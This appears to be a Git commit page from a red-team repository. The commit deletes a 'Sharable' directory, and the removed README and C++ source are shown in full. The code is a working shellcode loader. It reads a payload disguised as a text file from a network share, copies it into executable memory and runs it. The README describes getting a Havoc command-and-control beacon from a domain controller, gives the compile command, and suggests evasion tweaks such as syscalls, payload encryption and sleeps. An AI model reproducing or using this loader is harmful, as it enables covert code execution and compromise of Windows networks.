Przeglądaj źródła

Delete Sharable directory

assume-breach 2 lat temu
rodzic
commit
8628ace804
2 zmienionych plików z 0 dodań i 153 usunięć
  1. 0 25
      Sharable/README.md
  2. 0 128
      Sharable/shareable.cpp

+ 0 - 25
Sharable/README.md

@@ -1,25 +0,0 @@
-Shareable is a proof of concept executable that allows an attacker to run a hosted shellcode file from a shared network folder. 
-
-Execution:
-
-Here we have a raw Havoc shellcode file renamed to reflect a TXT file located on a shared network folder accessible to the domain controller.
-
-![Screenshot 2023-11-15 at 10 11 52 AM](https://github.com/assume-breach/Home-Grown-Red-Team/assets/76174163/7610bd6a-36bd-4ada-8731-afffbad4bd20)
-
-On our POC, we enter the folder/file location and hostname.
-
-![Screenshot 2023-11-15 at 11 40 07 AM](https://github.com/assume-breach/Home-Grown-Red-Team/assets/76174163/21e8deb3-08d4-42f0-b547-aaeeb3a93aa6)
-
-We then compile x86_64-w64-mingw32-g++ -o sharable.exe sharable.cpp -lws2_32 -lntdll
-
-We upload the executable to the domain controller and execute.
-
-![Screenshot 2023-11-15 at 11 45 13 AM](https://github.com/assume-breach/Home-Grown-Red-Team/assets/76174163/6ccbe5ff-44da-462f-9718-da6bc3c0d26f)
-
-And we get a Havoc beacon back. 
-
-![Screenshot 2023-11-15 at 12 20 34 PM](https://github.com/assume-breach/Home-Grown-Red-Team/assets/76174163/e9bb32ce-c62f-4061-9e71-f07e41d788b7)
-
-Considerations:
-
-This POC uses userland WinAPIs. There have been zero OPSEC considerations in this POC. If you consider using this, modify it to use syscalls. You will also notice that the memory allocation is marked by EXECUTE_READWRITE. Modify it to use READ_WRITE then EXECUTE_READ for better OPSEC. Add sleep functions, payload encryption, ect. 

+ 0 - 128
Sharable/shareable.cpp

@@ -1,128 +0,0 @@
-#include <windows.h>
-#include <winnetwk.h>
-#include <wchar.h>
-
-// Function prototype for ThreadFunction
-DWORD WINAPI ThreadFunction(LPVOID lpParameter);
-
-// Print error messages
-void PrintError(const wchar_t* action) {
-    wprintf(L"[!] %s Failed With Error : %d \n", action, GetLastError());
-}
-
-BOOL FindFileShare(LPCWSTR szServer, LPCWSTR szFilePath, PBYTE* binaryData, SIZE_T* binarySize) {
-    BOOL operationSuccess = TRUE;
-    PBYTE allocatedMemory = NULL;
-
-    WCHAR szFullUNCPath[MAX_PATH];
-    swprintf_s(szFullUNCPath, MAX_PATH, L"\\\\%s\\%s", szServer, szFilePath);
-
-    wprintf(L"Attempting to open file: %s\n", szFullUNCPath);
-
-    HANDLE hFile = CreateFileW(szFullUNCPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
-    if (hFile == INVALID_HANDLE_VALUE) {
-        PrintError(L"CreateFileW");
-        operationSuccess = FALSE;
-    }
-    else {
-        wprintf(L"File opened successfully.\n");
-
-        DWORD fileSize = GetFileSize(hFile, NULL);
-        if (fileSize == INVALID_FILE_SIZE) {
-            PrintError(L"GetFileSize");
-            operationSuccess = FALSE;
-        }
-        else {
-            wprintf(L"File size: %u bytes\n", fileSize);
-
-            allocatedMemory = (PBYTE)LocalAlloc(LPTR, fileSize);
-            if (allocatedMemory == NULL) {
-                PrintError(L"LocalAlloc");
-                operationSuccess = FALSE;
-            }
-            else {
-                wprintf(L"Allocated memory for file content.\n");
-
-                DWORD bytesRead;
-                if (!ReadFile(hFile, allocatedMemory, fileSize, &bytesRead, NULL)) {
-                    PrintError(L"ReadFile");
-                    operationSuccess = FALSE;
-                }
-
-                *binaryData= allocatedMemory;
-                *binarySize = bytesRead;
-            }
-        }
-
-        CloseHandle(hFile);
-    }
-
-    return operationSuccess;
-}
-
-
-BOOL ExecuteBinaryInMemory(const PBYTE BinaryData, SIZE_T DataSize) {
-    wprintf(L"Executing binary in memory...\n");
-
-    LPVOID pMemory = VirtualAlloc(NULL, DataSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-    if (pMemory == NULL) {
-        PrintError(L"VirtualAlloc");
-        return FALSE;
-    }
-
-    memcpy(pMemory, BinaryData, DataSize);
-
-    HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, pMemory, 0, NULL);
-    if (hThread == NULL) {
-        PrintError(L"CreateThread");
-        VirtualFree(pMemory, 0, MEM_RELEASE);
-        return FALSE;
-    }
-
-    WaitForSingleObject(hThread, INFINITE);
-    CloseHandle(hThread);
-
-    VirtualFree(pMemory, 0, MEM_RELEASE);
-
-    wprintf(L"Execution complete.\n");
-
-    return TRUE;
-}
-
-DWORD WINAPI ThreadFunction(LPVOID lpParameter) {
-    wprintf(L"Thread started...\n");
-
-    PBYTE BinaryData = (PBYTE)lpParameter;
-    typedef void (*FunctionPointer)();
-    FunctionPointer pFunction = (FunctionPointer)BinaryData;
-
-    wprintf(L"Calling the shellcode function...\n");
-
-    pFunction();
-
-    wprintf(L"Thread completed.\n");
-
-    return 0;
-}
-
-int main() { // Change wmain to main
-    LPCWSTR szServer = L"HOSTNAME";
-    LPCWSTR szFilePath = L"PATH\\TO\\SHELCODE\\FILE";
-
-    wprintf(L"Attempting to load binary from server %s and file path %s\n", szServer, szFilePath);
-
-    PBYTE Payload;
-    SIZE_T PayloadSize;
-
-    BOOL success = FindFileShare(szServer, szFilePath, &Payload, &PayloadSize);
-
-    if (success) {
-        wprintf(L"Binary loaded successfully. Executing...\n");
-
-        success = ExecuteBinaryInMemory(Payload, PayloadSize);
-
-        LocalFree(Payload);
-    }
-
-    return success ? 0 : 1;
-}